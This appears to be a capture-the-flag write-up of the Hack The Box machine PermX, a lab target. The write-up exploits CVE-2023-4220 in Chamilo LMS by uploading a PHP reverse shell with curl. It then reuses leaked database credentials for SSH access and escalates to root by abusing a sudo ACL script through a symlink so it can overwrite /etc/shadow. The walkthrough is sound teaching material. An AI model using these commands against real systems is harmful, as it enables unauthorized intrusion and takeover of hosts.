RCE | Web Root

A classic 20-80 port open Linux machine. From the website, we know the web app is for online learning business:

Enumerate subdomains:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://permx.htb" -H "HOST:FUZZ.permx.htb" -c -fc 302

We ffuf a subdomain named 'lms':

A Learning Management System (LMS) is a software application or web-based technology used to plan, implement, and assess a specific learning process. It provides an instructor with a way to create and deliver content, monitor student participation, and assess student performance.

As an attacker, when dealing with LMS, we should consider:

  • Data security;
  • User authentication;
  • Network communications.

Vulnerabilities in an LMS can often be exploited to gain unauthorized access, extract sensitive information, or disrupt its operations. Common attack vectors might include SQL injection, cross-site scripting (XSS), or improper access controls.

Open 'http://lms.permx.htb' in the browser, we have a login page and it tells us that it's powered by Chamilo:

Chamilo is an open-source learning management system designed for a range of typical LMS features, such as course creation, quizzes, gradebooks, and student tracking.

Do a little searching on the Internet, we can find out there's a CVE-2023-4220 for Chamilo LMS introduced in this link.

The CVE-2023-4220 vulnerability in Chamilo LMS allows unauthenticated attackers to exploit the file upload functionality to perform Stored XSS attack and execute remote code (RCE), for improper handling of file uploads in /main/inc/lib/javascript/bigupload/inc/bigUpload.php.

We can easily upload a webshell with above URI and access it under path /main/inc/lib/javascript/bigupload/files as the web root.

The attack mechanism is simple and straight forward. But we cannot access the '/main' path directly. Perform a Dir Enum to lookup useful URIs:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u "http://lms.permx.htb/FUZZ" -c

We can directly path traverse under path '/app'. The web app developer just exposes all file directories to us:

Under path /app/config/parameters.yml.dist we can retrieve the template for configuration settings, including database connection details, mailer configurations, and other environment-specific settings:

parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root

    mailer_transport: smtp
    mailer_host: 127.0.0.1
    mailer_user: ~
    mailer_password: ~

    # A secret key that's used to generate certain security-related tokens
    secret: ThisTokenIsNotSoSecretChangeIt
    password_encryption: sha1

    # Activation for multi-url access
    multiple_access_urls: false
    # Deny the elimination of users
    deny_delete_users: false
    installed: ~
    password_encryption: sha1
    sp_bower_bin: '/usr/bin/bower'

    url_append: ''
    sonata_media.cdn.host: /uploads/media

    # If you installed Chamilo in http://localhost/chamilo_master
    # you need to setup like this:
    # url_append: '/chamilo_master/web/'
    # sonata_media.cdn.host: /chamilo_master/web/uploads/media

    sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'
    locales: [en, fr, es, de]

We can identify the existence of the attack entrance bigUpload.php:

Since we cannot directly access the upload page, we will use the POC of the CVE. First create a rev.php using whatever PHP revere shell script, make a POST request to bigUpload.php with action query parameter set to post-unsupported, and present out reverse shell as Formdata using curl:

curl -F '[email protected]' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

The response indicates a successful upload:

Then set up a listener in advance, visit the /main/inc/lib/javascript/bigupload/files/<file_name> path to access our reverse shell script:

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rev.php'

And we will get a shell as the web root www-data:

USER | Mtz

As the web root, we can now see the machine is running MySQL database:

We have retrieved the database parameters through /app/config/parameters.yml.dist in previous reconnaissance for the web app directories:

We have retrieved the database parameters through /app/config/parameters.yml.dist in previous reconnaissance for the web app directories:

parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root

But we do not have access to login the database as root though:

Continue to enum the '/app/config' path to browse some config settings, especially the PHP files we could not access when we perform path traversing before. Via configuration.php, I discovered another user for the database:

Try this one for the MySQL, which works nicely:

From the 'chamilo' database, we can retrieve the hashes & salts from user admin and ano:

The password hashes start with $2y$, which indicates they're bcrypt Blowfish(OpenBSD) hashes.

In bcrypt hashes, the salt is embedded within the hash itself. When using Hashcat, we do not need to separately provide the salt. Hashcat extracts it automatically from the hashes. Simply paste them into the 'hash.txt', then crack with mode '3200':

According to the 5-minute rule from HTB, we are not gonna wait for 3 hours to crack these hashes. This is obviously a rabbit hole again.

Check our target user with cat /etc/passwd and ls /home, we can easily find out our next move would be user mtz:

Reuse the password for the database user, we can login SSH as user mtz and take the user flag:

SYMLINK ATTACK | Root

Check sudo privilge, we have it for acl.sh, which indicates some access control lists (ACLs) management, like the name for the box PermX:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

The provided script sets ACLs for a specified user on a specified file, ensuring the file is within the /home/mtz/ directory and not traversing upwards (via ..):

  1. Usage Check: Ensures three arguments are provided (user, permission, file).
  2. Target Validation: Checks if the target file is within /home/mtz/ and doesn't include ...
  3. File Check: Confirms the target is a file.
  4. Set ACL: Uses sudo setfacl to modify the ACL of the target file for the specified user and permission.

Overall, the scripts aims to allow us using sudo privilege to modify permissions on files that locates at 'home/mtz' only, by restricting input .. to prevent path traversal. However, the script only checks the path prefix and not the final resolved path of the symlink.

Therefore, we can perform the Symbolic Link (Symlink) Attack. This type of attack involves creating a symbolic link that points to a sensitive file or directory, then exploiting a vulnerable script or program to operate on the symbolic link, inadvertently affecting the target file.

I just happened to introduced the advanced Symlink Race attack in the last post for the old insane machine Skyfall, with its intended way to root. In this case we only need to utilize the base part of the primitive to tackle down this easy machine.

First we need to create a symlink pointing to the / root path of the Linux system, within the restriced path '/home/mtz', named root or whatever:

ln -s / root

Then use the vulnerable script (/opt/acl.sh) to set permissions (rwx) on the sensitive file (shadow) related to the symlinked path:

sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow

Since we are modifying ACL for one single user mtz, we will not see direct result on the target file. But we can already discover that the ACL on /etc/shadow has now been changed to having 'rwx' prvileges for users in group 'shadow' (previously it was only 'r'). And the green color of the file also indicates that we have execute privilge as the current user:

Followingly I created a hash for a simple password using OpenSSL:

openssl passwd -6 axura

This will output a hash suitable for the Linux system, for example: $6$randomsalt$hashvalue.

Finally simply overwrite the /etc/shadow file with the hash for the root user:

echo 'root:$6$Bbo96JzpUZNj6cO/$ORCKfhmDLKaqBj6cGZevWuU2o7MRKA.8rVzXZN6sU69H.6OVeZqqvJ12do9XC1xRYxTofLLcSko7hP9gKzeoP/:19742:0:99999:7:::' > /etc/shadow

We can then run su root with the preset password to get root:


Are you watching me?